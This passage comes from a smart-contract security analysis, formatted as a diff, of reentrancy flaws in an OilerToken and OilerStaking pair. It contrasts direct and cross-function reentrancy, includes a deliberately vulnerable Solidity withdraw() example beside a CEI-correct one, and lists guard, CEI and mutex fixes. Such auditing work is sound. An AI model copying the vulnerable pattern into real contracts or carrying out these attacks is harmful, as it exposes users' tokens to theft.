| **Reentry Point** | Same function (transferAndCall) | Different function (withdraw → claimRewards) |
|
|
506
|
+
| **Vulnerability** | External call in transferAndCall | External call before state update |
|
|
507
|
+
| **Exploits** | Approved token allowances | Stale state in related functions |
|
|
508
|
+
| **Complexity** | Simple (single function) | Complex (multiple functions) |
|
|
509
|
+
| **Detection** | Easy (obvious callback) | Hard (cross-function) |
|
|
510
|
+
| **Impact** | Drain approved tokens | Drain staking rewards |
|
|
511
|
+
|
|
512
|
+
---
|
|
513
|
+
|
|
514
|
+
## Why These Attacks Work
|
|
515
|
+
|
|
516
|
+
### Root Cause: CEI Pattern Violation
|
|
517
|
+
|
|
518
|
+
**CEI = Checks-Effects-Interactions**
|
|
519
|
+
|
|
520
|
+
```solidity
|
|
521
|
+
// CORRECT (CEI Pattern)
|
|
522
|
+
function withdraw() external {
|
|
523
|
+
// 1. CHECKS
|
|
524
|
+
require(stakes[msg.sender] > 0);
|
|
525
|
+
|
|
526
|
+
// 2. EFFECTS (update state FIRST)
|
|
527
|
+
uint256 amount = stakes[msg.sender];
|
|
528
|
+
stakes[msg.sender] = 0;
|
|
529
|
+
|
|
530
|
+
// 3. INTERACTIONS (external calls LAST)
|
|
531
|
+
OilerToken.transfer(msg.sender, amount);
|
|
532
|
+
}
|
|
533
|
+
|
|
534
|
+
// VULNERABLE (Interactions before Effects)
|
|
535
|
+
function withdraw() external {
|
|
536
|
+
// 1. CHECKS
|
|
537
|
+
uint256 amount = stakes[msg.sender];
|
|
538
|
+
|
|
539
|
+
// 2. INTERACTIONS (external call FIRST) ❌
|
|
540
|
+
OilerToken.transfer(msg.sender, amount);
|
|
541
|
+
|
|
542
|
+
// 3. EFFECTS (update state LAST) ❌
|
|
543
|
+
stakes[msg.sender] = 0; // Too late!
|
|
544
|
+
}
|
|
545
|
+
```
|
|
546
|
+
|
|
547
|
+
---
|
|
548
|
+
|
|
549
|
+
## Real-World Impact
|
|
550
|
+
|
|
551
|
+
### Direct Reentrancy
|
|
552
|
+
- **At Risk**: All users with active approvals
|
|
553
|
+
- **Exploit Method**: Phishing + reentrancy
|
|
554
|
+
- **Estimated Loss**: Varies by victim
|
|
555
|
+
- **Likelihood**: HIGH (social engineering works)
|
|
556
|
+
|
|
557
|
+
### Cross-Function Reentrancy
|
|
558
|
+
- **At Risk**: 138,287 OIL in staking contract
|
|
559
|
+
- **Exploit Method**: Technical exploit
|
|
560
|
+
- **Estimated Loss**: Staking rewards pool
|
|
561
|
+
- **Likelihood**: MEDIUM (depends on staking implementation)
|
|
562
|
+
|
|
563
|
+
---
|
|
564
|
+
|
|
565
|
+
## Mitigation Strategies
|
|
566
|
+
|
|
567
|
+
### Fix 1: Reentrancy Guard
|
|
568
|
+
|
|
569
|
+
```solidity
|
|
570
|
+
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
|
|
571
|
+
|
|
572
|
+
contract OilerToken is ReentrancyGuard {
|
|
573
|
+
function transferAndCall(
|
|
574
|
+
address to,
|
|
575
|
+
uint256 value,
|
|
576
|
+
bytes calldata data
|
|
577
|
+
) external nonReentrant returns (bool) { // ✓ Protected
|
|
578
|
+
balanceOf[msg.sender] -= value;
|
|
579
|
+
balanceOf[to] += value;
|
|
580
|
+
|
|
581
|
+
if (isContract(to)) {
|
|
582
|
+
IERC677Receiver(to).onTokenTransfer(msg.sender, value, data);
|
|
583
|
+
}
|
|
584
|
+
|
|
585
|
+
return true;
|
|
586
|
+
}
|
|
587
|
+
}
|
|
588
|
+
```
|
|
589
|
+
|
|
590
|
+
### Fix 2: CEI Pattern
|
|
591
|
+
|
|
592
|
+
```solidity
|
|
593
|
+
contract OilerStaking {
|
|
594
|
+
function withdraw() external {
|
|
595
|
+
uint256 amount = stakes[msg.sender];
|
|
596
|
+
|
|
597
|
+
// Update state BEFORE external call
|
|
598
|
+
stakes[msg.sender] = 0; // ✓ Effects first
|
|
599
|
+
|
|
600
|
+
// External call AFTER state update
|
|
601
|
+
OilerToken.transfer(msg.sender, amount); // ✓ Interactions last
|
|
602
|
+
}
|
|
603
|
+
}
|
|
604
|
+
```
|
|
605
|
+
|
|
606
|
+
### Fix 3: Mutex Lock
|
|
607
|
+
|
|
608
|
+
```solidity
|
|
609
|
+
contract OilerStaking {
|
|
610
|
+
bool private locked;
|
|
611
|
+
|
|
612
|
+
modifier noReentrancy() {
|
|
613
|
+
require(!locked, "No reentrancy");
|
|
614
|
+
locked = true;
|
|
615
|
+
_;
|
|
616
|
+
locked = false;
|
|
617
|
+
}
|
|
618
|
+
|
|
619
|
+
function withdraw() external noReentrancy {
|
|
620
|
+
// Protected from reentrancy
|
|
621
|
+
}
|
|
622
|
+
}
|
|
623
|
+
```
|
|
624
|
+
|
|
625
|
+
---
|
|
626
|
+
|
|
627
|
+
## Summary
|
|
628
|
+
|
|
629
|
+
Both attacks exploit the same fundamental issue: **external calls before state finalization**.
|
|
630
|
+
|
|
631
|
+
**Direct Reentrancy**: Exploits `transferAndCall` callback to drain approved tokens
|
|
632
|
+
**Cross-Function Reentrancy**: Exploits staking contract to claim rewards with stale state
|
|
633
|
+
|
|
634
|
+
**Solution**: Follow CEI pattern + add reentrancy guards
|
|
635
|
+
|
|
636
|
+
**Urgency**:
|
|
637
|
+
- Direct: CRITICAL (user education + code fix)
|
|
638
|
+
- Cross-Function: HIGH (audit staking contract immediately)
|